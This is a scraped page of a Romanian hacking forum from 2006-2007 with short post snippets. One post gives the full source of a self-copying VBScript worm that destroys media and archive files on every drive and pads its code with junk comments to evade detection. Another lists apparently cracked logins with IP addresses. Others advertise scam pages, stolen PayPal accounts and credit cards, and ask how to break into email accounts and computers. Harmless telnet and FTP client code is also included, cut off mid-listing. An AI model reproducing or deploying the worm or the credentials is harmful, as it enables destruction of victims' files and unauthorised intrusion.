Colectia de poze hackteam.3xforum.ro
Total 162 poze.

InapoiInainte

 
ejti tare frate dar ...... dc nu pot sa downloadez nik din linkurile acelea ? adika incep downloadulEjti Tare frate dar ...... dc nu pot sa downloadez nik din linkurile acelea ? adika incep downloadul si incarca putin apoi se opreste porneste iar si tot asa ..... linkuri alternative ai ? pls ;)=D
22.07.20062.7KB
ok m-am lamurit !! thx all pt timpul acordar !! pace : nam nici filme cois ...am 2 -3 filmuletze naok m-am lamurit !! thx all pt timpul acordar !! Pace :cool: p.s : nam nici filme cois ...am 2 -3 filmuletze na ...da sa nu mai zici la nime' :rotfl: hai pace voua
05.08.20062.8KB
am eu o pagina scam gata ca trebuie sa modifici mailu ;) . iti recomand sa incerci un host gen lxAm eu o pagina scam gata facuta...numai ca trebuie sa modifici mailu ;) . Iti recomand sa incerci un host gen lx ...EnJoY:hi:
31.10.200645.4KB
am adresa de mess la unu ......... cum pot sa ii aflu ip-ul ????? plz plz plz ziceti-mi cum se faceam adresa de mess la unu ......... cum pot sa ii aflu ip-ul ????? ................... plz plz plz ziceti-mi cum se face sau un prog care imi arata plz plz rasp =(
16.10.200611.2KB

 
cred ca poza spune totu' am testat progr si merge perfect de facut fake ratio pentru torrentscred ca poza spune totu' am testat progr si merge perfect
22.07.200662.7KB
!! !! !! !! !! :hi: roate pt voiL-amPrins... !! ->office:office123:66.245.239.211 L-amPrins... !! ->testing:testing:66.243.191.222 L-amPrins... !! ->lpd:lpd:66.203.203.253 L-amPrins... !! ->lpa:lpa:66.203.203.253 L-amPrins... !! ->admin:password:66.208.242.43 asteas :hi:
02.03.200755.4KB
am root cu verificare , cu extragere de cont (2007) , ams dark mailer email crawl email spider ,Am Root Scan,Flood,spam,sendmail/imbox/bulk,Sunosc/uptime204Days,Darwinuri,ConturiPaypal,scamuri cu verificare , cu extragere de cont (2007) , ams dark mailer email crawl email spider , scannere windows Smtp scanner linux windows pt vnc'uri , Cc uri US Am nevoie de Scanner linux Pt smtp'uri Pagina De scam sa Ceara Fata spate de la carte Si ceva Bun de Prins RDP nu kkturile alea Ntsc Fb valencia si alte tampeni ... Ceva Bun }{ Idu Meu Printul_iadului ai intrat cu cerseala ty am fututo si pe mata Ty am dat si ignor ! :finger: :finger: :finger:
12.04.200729.9KB
hmm.... va rog sami raspundeti daca stiti !hmm....
06.08.200610.5KB

 
candva acuma 7-8 ani m-am jucat si eu cu facutul de fara sa stiu o boaba... nu ii asha trebuie numaCandva acuma 7-8 ani m-am jucat si eu cu facutul de scripturi... fara sa stiu o boaba... nu ii asha complicat.. trebuie numa sa studiezi un mirc simplu .. si itzi dai seama.. :D try ca nu ii mare filozofie.. schimbi niste chestii .. si te inspiri de la mai multe scripturi .. si le combini intr-unul :D so... good luck... :D auch.. cica is pe lista neagra.. damn .. :D:uimit:
25.07.20068.4KB
multumesc! am incercat o groaza de proxy pentru socket5 dar cu nici unul nu m-am putut conecta .Multumesc! Am incercat o groaza de proxy pentru socket5 dar cu nici unul nu m-am putut conecta . Afiseaza mereu acelasi mesaj : "No connection could be made because the target machine actively refused it" .
11.09.200620KB
cred ca merita incercat acest soft,avand in vedere ca e nou si mai mult.. :nono: poate fi floodatCred ca merita incercat acest soft,avand in vedere ca e nou si mai mult.. :nono: poate fi floodat ,se chiama HexHub si poate fi gasit aici ->
28.09.20065.1KB
dap...usor de spus greu de putin pt mine :) nu ceream daca stiam...nu sunt genul. help!Dap...usor de spus greu de facut...cel putin pt mine :) Nu ceream daca stiam...nu sunt genul.
02.09.200632.9KB

 
stiu ca e offtopic da nu ma puteam abtine :d virus i love you (sursa in vbs)stiu ca e offtopic da nu ma puteam abtine :D
30.07.200622.1KB
mhai va rog sa ma ajutati ! spuneti-mi si mie cum pot intra la cineva in pc fara sa fie nevoie ca elMhai va rog sa ma ajutati ! Spuneti-mi si mie cum pot intra la cineva in PC fara sa fie nevoie ca el sa fol ceva de genu radmin sau vnc . Se poate asa ceva ? Pls Help Me !!!:rotfl:
22.07.20066.8KB
nu va-ti saturat de clientul telnet, cand trimiteti un mail, sa luam ca exemplu, sa scrieti si saNu va-ti saturat de clientul telnet, cand trimiteti un mail, sa luam ca exemplu, sa scrieti si sa gresiti o literea si sa o luati de la capat ca nu o mai puteti sterge? Acest lucru se numeste "Terminal Mode", adica imediat dupa tastatre a unei taste, caracterul respectiv este trimis imediat serverului. Aici voi da un exemplu de client "raw" foarte asemanator cu Putty cu optiunea raw bifata. COD: ============= #define WIN32_LEAN_AND_MEAN #include #include #include #include #include #include #include #include #include //#include #include #include #include #include #include #include #pragma comment(lib, "Advapi32") #pragma comment(lib, "Kernel32") #pragma comment(lib, "Ws2_32") #pragma comment(lib, "Wininet") #ifndef EROARE #define EROARE (-1) #endif #ifndef FALS #define FALS 0 #endif #ifndef ADEVARAT #define ADEVARAT 1 #endif using namespace std; char de_primit; char de_trimis; char host; int port; HANDLE th; DWORD Send (LPVOID prm) { SOCKET kkt = (SOCKET) prm; char enter=" "; while(gets_s(de_trimis, sizeof(de_trimis))) { strcat_s(de_trimis,sizeof(de_trimis), enter); send(kkt, de_trimis, sizeof(de_trimis), 0); ZeroMemory(de_trimis, sizeof(de_trimis)); } return 0; } void main(void) { SetConsoleTitle(" -v0.1 de Win32"); //Initializare wsadata. WSADATA wsdt; WORD wsaVersiune=MAKEWORD(2,2); int wsaini=WSAStartup(wsaVersiune, &wsdt); if(wsaini == EROARE) { WSACleanup(); printf("Eroare la wsaini..."); Sleep(4000); exit(0); } //Cere info. hostent *he; printf("HOST: "); gets_s(host, sizeof(host)); if ((he=gethostbyname(host)) == NULL) { printf("Eroare la gasirea hostului...."); WSACleanup(); Sleep(4000); exit(0); } /*========================================================================= *Aici se va cere portul. *Este important de stiut ca se va realiza o conversie intre variabile *din tip char in int. */ printf("PORT: "); char port_buf=""; gets_s(port_buf, sizeof(port_buf)); port=atoi(port_buf); /* *Important este ca 'port' este definit ca int, iar 'port_buf' este char, dupa *functia gets_s el este convertit in valoare int prin intermeadiul lui atoi(); *aici se va converti cele doua tipuri de variabile: port=atoi(port_buf); */ //Cream socket. SOCKET conect_socket; conect_socket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(conect_socket == EROARE) { WSACleanup(); printf("Invalid socket..."); Sleep(4000); exit(0); } sockaddr_in client; client.sin_family = AF_INET; client.sin_addr = *((in_addr *)he->h_addr); client.sin_port = htons(port); while(connect(conect_socket, (SOCKADDR*)&client, sizeof(client))!= EROARE) { printf("Conectare reusita la: %s %d ___________________________________________ ", host, port); SetConsoleTitle(host); DWORD tSend; th = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) Send, (LPVOID)conect_socket, NULL, &tSend); while(recv(conect_socket, de_primit, sizeof(de_primit), 0)) { printf(de_primit); ZeroMemory(de_primit, sizeof(de_primit)); } } WSACleanup(); TerminateThread(th, 0); printf("Eroare conexiune..."); Sleep(4000); exit(0); } ================== Asa cum am precizat si la chat consola il compilati cu MVS2005, dar daca folositi altceva aveti de modificat cateceva....
20.02.200741.7KB
lol sad,ynhub nu e prost...sa fim probabil sau aquila sau mai stiu eu cate sunt... o vroiau doar salol sad,ynhub nu e prost...sa fim seriosi.....yhub probabil sau aquila sau mai stiu eu cate sunt... o multime..in fine..oricum vroiau doar sa te anuntz ca pt moment cel mai folosit soft e*ynhub* cat de prost ar fi el.... ;) hexhub e bun intradevar dar inca nu e indeajuns de cunoscut...daca tot il lauzi atat ia fa bine si fai s putina reklama :nod: ... la prima vedere pare un soft normal si simplu, nimik deosebit ,dar nu e asa credema e f greu de inteles si de configurat..cel putin pt mine.:zzz:....moma a cu atatea softuri nu se mai intelege nimik plm..sunt f multe comenzi care difera de la unul la altul.... mai bine user normal decat op:rotfl:
10.10.20065.1KB

 
cei doi inamorado , stiu exagerez , dar merita ce i-a facut sarmani fete , auzi cere iubitei sa secei doi inamorado , stiu exagerez , dar merita ce i-a facut sarmani fete , auzi cere iubitei sa se sincucida :rolleyes:
01.08.200620KB
mha daca ai folosi ca soft ptokax atunci ai gasi jocuri la greu.dar pt verli si ynhub cam greu. altemha daca ai folosi ca soft PtokaX atunci ai gasi jocuri la greu.dar pt verli si ynhub cam greu.
15.10.20065.1KB
as vrea si eu o lamurire in le. cu spargerea mail. pe yahoo , se poate s au nu???? mie tocmai mi aas vrea si eu o lamurire in le. cu spargerea mail. pe yahoo , se poate s au nu???? mie tocmai mi a fost sparta si acum nu mai o pot folosi =( am citit pe aici si din ce am inteles de la mai invatatii de pe aici nu ar fi cu putinta. totusi s a intimplat mentionez ca nu sunt HACKER si nu am cunostinte in acest domeniu si sincer nu am incercat sa fac rau nim. pina acum dar vreau sa invat :D =D :D =D pt. ai plati nemernicului :dinti:
14.05.200723.3KB
ms dar pana acum .... nu am gasit nik nici makar in engleza e in franceza ) :s ms ;) subtitrarems dar pana acum .... nu am gasit nik nici makar in engleza ........(filmu e in franceza ) :s ms ;)
08.10.200611.2KB

 
o sa incerc . serial pentru client for remote 2.1 ? multumesc ! parola radmino sa incerc . serial pentru CLIENT FOR REMOTE ADMINISTRATOR 2.1 ? MULTUMESC !
18.10.200620KB
in primu' rand sall all si respekt !! am si eu o nedumerire in legatura cu prorat`ul !! te potiIn primu' rand sall all si respekt !! am si eu o nedumerire in legatura cu prorat`ul !! Te poti connecta la un pc pe alt port deschis dekat 5110(cu prorat bine-ntzeles) , dak da ..cum ,o idee cva ?? Ms anticipat !!
04.08.20062.8KB
am bagat placa mi-a aparut , care e urmatoru pas? wireless conectionam bagat placa mi-a aparut , care e urmatoru pas?
25.07.200621.5KB
salutare ... sunt incepator ...si cred ca am citit tot forum`u ..e ora 4 : 43 :d si de la ora 10 totsalutare ... sunt incepator ...si cred ca am citit tot forum`u ..e ora 4 : 43 :D si de la ora 10 tot citesc la forum ... asa .si cum ziceam ...sunt incepator ....dar vreau sa stiu : 1. daca scanez de pe linux`u meu .... are ceva ? ma vede careva ? 2. daca ma vede cum ascund ip`ul 3. sunt incepator si folosesc suse10.2 si l`am bagat special pt NMAP ala ..sa il folosesc si eu ..... tare mult astep un raspuns concret .... eu nu mai postam pe forum daca nu vedeam data de 2007 :D sincer..... dar uite ca am postat acum ma voi baga la somn ... imi crapa okii ...de la 1 tot ma uit pe google.ro si tot caut si caut ... apoi am gasit aici :) Va multumesc anticipat !!! P.S. heeeeellllppppppp meeeee :hi: :nod:
18.02.20074.3KB

 
nu mai stieimei nik ? pls help update la biosnu mai stieimei nik ? PLS HELP
30.09.20063.2KB
tot cu radmin se intra mai bine ij computere ....care vrea un ipscaners anuma pt asa ceva aretot cu Radmin se intra mai bine ij computere ....care vrea un ipscaners anuma pt asa ceva are incorporat si radmin an el...defapt nu trebe sa mai ai radmin inst pe comp...ca are ipscanu si chiar daca victimele sunt parolate...ipscan trece peste ele cu usurinta..... daca va interesaza id lazar_catalinu:rotfl::hi:
03.08.200614.5KB
multumesc ! inca 2 intrebari : 1) are cineva serial pentru client for remote 2.1 ? am cautat pe netMultumesc ! Inca 2 intrebari : 1) are cineva serial pentru CLIENT FOR REMOTE ADMINISTRATOR 2.1 ? am cautat pe net si nu am gasit . 2) Cu ce program execut urmatoarele instructiuni ? : Code: #!/usr/bin/perl use IO::Socket; $|++; use IO::Socket; ## ????? ?????? $pids=10; ## Count of threads $port = 4899; ## Default port $tout = 5; ## Default timeout $log = 'scan.log'; ## Default logfile ...............................
18.10.200620KB
ok am chestia cu la toamna ma un friend deal meu care le are cu si maybe ma poate dupaia il ajut euok am rezolvat.....de chestia cu programarea....de la toamna ma apuc....este un friend deal meu care le are cu programarea si maybe ma poate ajuta......da dupaia il ajut eu sa se viruseze......;)
09.08.20064.1KB

 
nu prea se gasesc exploituri bune de poate posteaza cineva un wget? ms anticipat bafta r00t fromnu prea se gasesc exploituri bune de 2.6.9-1.667smp poate posteaza cineva un wget? ms anticipat bafta
09.10.200643.1KB
pt verlihub avem asa..... -> % from: % $ % yo ..if you want it enters in my hub hubului -e unpt verlihub avem asa..... -> % From: % $<%> % yo ..if you want it enters in my hub dchub://adresa hubului -e un user commands care poate fi folosita ca raw pt a face reklama in privat atat huburilor cat si site ;) <%> !ban %| si tot asa mai depart oricare comanda ati dori sa o avetzi in user command-ul vostru e destul sa puneti in fata <%> iar apoi !ban !unban !kick !gag !ungag !flood etc iar la urma %| pt a fi setate in client va trebui sa intratzi in settings-user commands iar apoi datzi add bifatzi PM si user menu ..puneti un nume comenzii si comanda respectiva in casutele de mai jos..cam atat...mai sunt multe alte chestii dar acum tre sa plec la munca,LoL O ZI BUNA TUTUROR
02.10.20065.1KB
shocker cred ca ai si tu acel Shocker cred ca ai si tu acel "program" sau cel putin ma gandesc :rotfl:...fiecare il are,doar ca nu e configurat la fel ,LoL.....SI NICI NU POATE FI. :rotfl: :rotfl: :rotfl:
18.10.20065.1KB
uite, sint in sala de net..ce puteti sa faceti?uite,
15.08.200635.6KB

 
mah care stie cum sa sparg si yo o parola de yahoo k yo abia am spart 7 si nu mai merge cu metodamah care stie cum sa sparg si yo o parola de yahoo k yo Abia am spart 7 si nu mai merge cu metoda mea am facut in Id de bot si imi trimiteau astia singuri parola
25.07.20065.2KB
:rotfl: eu am fost op pe urban in fo pe apocalipse ,europe ,extreme ,tgm,plm le mai stie astea:rotfl: eu am fost op pe urban in fo pe apocalipse ,europe ,extreme ,ghost-land ,TGM,plm le mai stie astea doar interne ro in afara am fost pe FiR€WØRLD N€TWØRK hubul principal si pe chaos....am uitat mane,de 6 ani am tot skimbat..mai am si acum dar nu mai stau pe ele...nu e un op bun ala care are conturi multe asa cum cred altzii.aia e vrajala...cunosc lume care are peste 15 conturi de op dar degeaba daca nu raspunde la privatul unui user,nu da un kick sau nu vb in main...pe scurt doarme in hub...mai bine unu in care sa poti face fata si sa fi mereu pregatit sa dai o mana de ajutor useru-lui nevoias...sau gresesc?ei cred ca avand in tag un numar mare de huburi cu cont de op sunt mari scule,iar daca mergi sa intrebi cum ar fi de ex, cum se pune un forbid sau un script in verli se pierd...sunt multi care se dau mari in sus si in jos DAR eu cand aveam conturi pa huburi ei isi luau tenesii pa dos... lol... plm,asa cum am mai spus.daca stai bine sa calculezi avantajele la urma urmei e mai cool sa FI un user necajit decat un op injurat de totzi !=D
14.10.20065.1KB
mie numi merge..sau trebuie sa fac ceva pe siteu ala? pls contact me ;) bot de reclamamie numi merge..sau trebuie sa fac ceva pe siteu ala? pls contact me ;)
09.08.200662.1KB
multumesc mult pentru sugestii . pana una alta eu stiu sa vorbesc si sa scriu romaneste , pe candMultumesc mult pentru sugestii . Pana una alta eu stiu sa vorbesc si sa scriu romaneste , pe cand tu nu ai habar de limba romana . De limba engleza banuiesc ca nici nu ai auzit . Am pus o intrebare simpla : "Are cineva serial pentru CLIENT FOR REMOTE ADMINISTRATOR 2.1 ? ". Nu este destul de clar ? Daca nu esti in stare sa raspunzi , te rog sa nu mai postezi aici nimic. Se pare ca numai gura este de tine . Daca stii ceva in domeniul asta , poti sa o dovedesti fara sa jignesti membrii acestui forum .
18.10.200620KB

 
pls help nu stie nimeni dc nu mere ? fifa 2007pls help nu stie nimeni dc nu mere ?
07.10.20062.2KB
hmm... anu trecut m-am chinuit sa fac amaratu asta de vierme care mi-a mancat 3 zile din viata, caHmm... anu trecut m-am chinuit sa fac amaratu asta de vierme care mi-a mancat 3 zile din viata, ca nu aveam prea multe cunostinte de VB. Ce face? Pai el este sub forma de script. Cand va fi rulat, instructiunile din el vor fi executate de numitul: Wscript.exe din system32. Deci prima data el cauta fisiere cu extensiile: *.rar, *.zip, *.jpg, *.bmp, *.avi... etc. Dupa care le va sterge si le va inlocui cu el insusi, apoi va crea un fisier oeminfo.ini in system32 care va adauga un buton la SysteInfo si niste comentarii cam porcoase, dar nu am mai stat sa le schimb ca mi-a fost lene :)). Probabil va intrbati ce-s cu 'sdkfksdjjjjjjjjjjjjsdfsd..... alea is puse intre lini sub forma de comentarii pentru a-l face mai greu de dectat. Cand l-am facut m-am inspirat unpic din Love-Letter, dar ce mai conteaza... l-am facut prin aplrilie 2006.... COD: ==================== On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,dow 'asnkdajklshhhhhhhhhhhhhhhhhhhhakldlsjdfaskjdf;asdnh;fkahsdn; eq="" 'asdlkjfnhaskljdhfjkasbhdjkfasdjfkjasdhfuiahsdiofasl;dkfipsdhfauipsdh ctr=0 'asdjfhausdhfipuahsefljasdjfha;sdhtisdkgfndhgfisdkfjskdriusiouedroisodk Set fso = CreateObject("Scripting.FileSystemObject") 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr set file = fso.OpenTextFile(WScript.ScriptFullname,1) 'sdaufhasudhgkasjdbnjkpasuihgftodnhasgjkdngl;srhgtuahsdjlbgfasjkfhiusdgftib 'fdfhiausdhfajsdhjfhasdjjjjjjjjjshaduifhalksdjxfhalusdhfrasuioerhyfasdjohaj main() 'sdfkhseoirhaiojlasdkjrioaeuorasuroisuedriouaoieurioasdkjkskskskskksks sub main() 'sdklfisdhrsjelkrjsoieropasieaosiedar9useiosueioru On Error Resume Next 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr dim wscr,rr 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout") if (rr>=1) then 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) 'dkafioashfiahsodfiasdkjskdjioafsjdifjlaskjdfhasdjkhfajkshdfoiaieuirq;owiej Set dirsystem = fso.GetSpecialFolder(1) 'asekhfrasdiohfklasdruioasdhriuahsduihyiufhkjsadhlafkjdhrauiehyriuhyasduhflsk Set dirtemp = fso.GetSpecialFolder(2) 'sdlfkjaoisdhfjasdhkjfhauiosdyruiahysduioasjdhfasjfhiuasyeruryaosuihfrauiserh Set c = fso.GetFile(WScript.ScriptFullName) 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef c.Copy(dirsystem&"Win32.vbs") regruns() 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef listadriv() 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr End Sub 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef sub listadriv 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr On Error Resume Next 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr Dim d,dc,s 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef Set dc = fso.Drives 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr For Each d in dc 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr If d.DriveType = 2 or d.DriveType=3 Then 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr folderlist(d.path&"") 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef end if 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr Next listadriv = s 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef end sub sub infectfiles(folderspec) 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef On Error Resume Next 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr dim f,f1,fc,ext,ap,s,bname 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef set f = fso.GetFolder(folderspec) set fc = f.Files 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef s=lcase(f1.name) If (ext="avi") or (ext="mp3") or (ext="jpg") or (ext="bmp") or (ext="gif") or (ext="png") Or (ext="zip") Or (ext="rar") Or (ext="vbs") Or (ext="mpg") Or (ext="mpeg") Or (ext="") Then 'asedfhasbgfkhsdgkfshufahderajshdljkfahsdkuxchvajxhkljeiuraiusehyjfahsldjfhyasidouy fso.CopyFile(dirsystem&"win32.vbs") , f1.Path , true 'sadiohfasdiojfoaisudhgfuiasdhjjjjjjjjjjjshuioeareiouuuuuuuuuuuuuuuuu 'sdafjkahsdiuuuuuuuuuuuuuuuuuuuuuuuuuuiasdjnhfkasjdnhfouiasdhfrauieuh 'asdfahsdddddddddddddddddfhioasdihfoiaerhastuiorathoerithaieuhtauisdh bname=fso.GetBaseName(f1.path) 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr set cop=fso.GetFile(f1.path) 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr cop.copy(folderspec&""&bname&".vbs") 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr fso.DeleteFile(f1.Path) 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr end If 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef if (eq<>dirsystem) Then 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr if (s="oeminfo.ini") or (s="script.ini") Then 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr set scriptini=fso.CreateTextFile(dirsystem&"oeminfo.ini") 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Manufacturer= by Win32" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Model=--> Th3 Best H4ckeR <--" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "" 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef scriptini.WriteLine "" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line1=Salut, sunt Win32 !!" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line2=Probabil cand vei citi aceste randuri este prea tarziu sa mai oprejti masacrul :D" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line3=Windouze-ul tau a fost ciuruit si futut de viermele meu Win32.Worm.kill_media.A" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line4=Daca ejti strain si nu intelegi, sa ma sugi de pula... nu stateam eu sa traduc si ptr tine..." 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line5=Poate cineva a avut boala pe tine si ti-a trimis viermele=> rezulta ca ai fost o persoana rea." 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line6=Deci poti sa-ti dai format la HDD ca aprox. 80% a fost mancat vierme :D" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.WriteLine "Line7=Sa nu uiti ziua asta, Zbye!!" 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr scriptini.Close 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef eq=dirsystem end If 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr end If 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef next end sub sub folderlist(folderspec) 'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef On Error Resume Next dim f,f1,sf 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr set f = fso.GetFolder(folderspec) set sf = f.SubFolders 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr for each f1 in sf infectfiles(f1.path) 'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr folderlist(f1.path) next end Sub '----------------------------------------------------------------------------- ' End of the fucking Script '----------------------------------------------------------------------------- ================
20.02.200747.7KB
un client ftp. are doar de a incarca si descarca fisiere pe un server ftp. se foloseste numai dinUn client ftp. Are capacitatea doar de a incarca si descarca fisiere pe un server FTP. Se foloseste numai din CMD cu comanda: ft.exe p 127.0.0.1 21 user parola fisier fisier2 Unde ft.exe este executabilul rezultat dupa compilare. COD: ============= /* Simplu client FTP, doar incarcare && descarcare. */ #define WIN32_LEAN_AND_MEAN #include #include #include #include #include #include #include #include #include //#include #include #include #include #include #include #include #pragma comment(lib, "Advapi32") #pragma comment(lib, "Kernel32") #pragma comment(lib, "Ws2_32") #pragma comment(lib, "Wininet") #ifndef EROARE #define EROARE (-1) #endif #ifndef FALS #define FALS 0 #endif #ifndef ADEVARAT #define ADEVARAT 1 #endif using namespace std; void ajutor(char exe) { /* Functia ajutor..., afiseaza comenzile de utiliazare */ printf(" --------------------------------------------------------------------- : "); char linie; /* linie va deveni executabilul + [IP... bla bla */ strcpy_s(linie, exe); strcat_s(linie," "); printf(linie); printf(" Primul parametru este comanda ftp, ele sunt: g -descarca fisier (GET). p -incarca fisier (PUT). Fsierele sunt: fisier1 -Fisier local. fisier2 -Fisier pe server. Copyright 2006-2007 Win32_Win32 Corp. --------------------------------------------------------------------- "); exit(0); } /* Functia main, cea principala */ void main(int argc, char *argv) { /* int main(int argc, char *argv): /* argc si argv permit comenzi CommandLine peste program /* de ex: (prog.exe -a -b) /* argc este numarul de parametrii cu care se executa programul /* adica daca nu i se da nici un parametru inseamna ca /* argc este argc, iar daca se va da un parametru va fi /* argc, si asa mai departe. /* argv este chiar parametrul, unde argv, este pathul progra- /* mului, adica daca se va da printf("%s", argv); va fi /* afisat ceva de genu: c:directorprog.exe sau prog.exe. /* argv va fi primul parametru dat, daca afisam argv /* cu printf(); va fi parametrl dat. */ char prm; /* se vor pune urmatoarele conditii: */ if(argc >8) { /* daca parametrii dati sunt mai multi de 7 atunci va executa /* urmatoarele intstructiuni. */ printf(" >>> PREA MULTI PARAMETRII !!"); ajutor(argv); } if(argc < 8) /* aici previne un bug, daca param sunt < 8 */ { printf(" <<< PARAMETRII INSUFICIENTI !!"); ajutor(argv); } if(argc == 8) prm = *argv; /* prm va deveni parametrul cu care a fost executat */ /* converteste port din char in int */ int port; char port1; strcpy_s(port1, argv); port=atoi(port1); /* Aici va incepe deschiderea conexiunii Internet */ LPCSTR kkt="Conexiune Ftp"; /* un flag */ HINTERNET hSesiune; /* identificatorul pentru InternetOpen (handle) */ HINTERNET hCon; /* identificatorul pentru InternetConnect */ hSesiune = InternetOpenA(kkt, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); hCon = InternetConnectA(hSesiune, argv, port, argv, argv, INTERNET_SERVICE_FTP, NULL, NULL); DWORD dwe = GetLastError(); /* declaratie GetLastError */ /* FtpPutFile si FtpGetFile returneaza 1 daca este ok, /* si zero daca exista eroare */ /* Aici se alege parametrul cu care a fost executat */ switch(prm) { case 'g': /* get, descarca fisiere */ /* cazul in care parametrul g este cerut va incerca sa descarce fisierul de pe server */ if(FtpGetFileA(hCon, argv, argv, NULL, NULL, FTP_TRANSFER_TYPE_BINARY, NULL)==1) printf("Comanda: OK"); /* daca va da eroare */ else 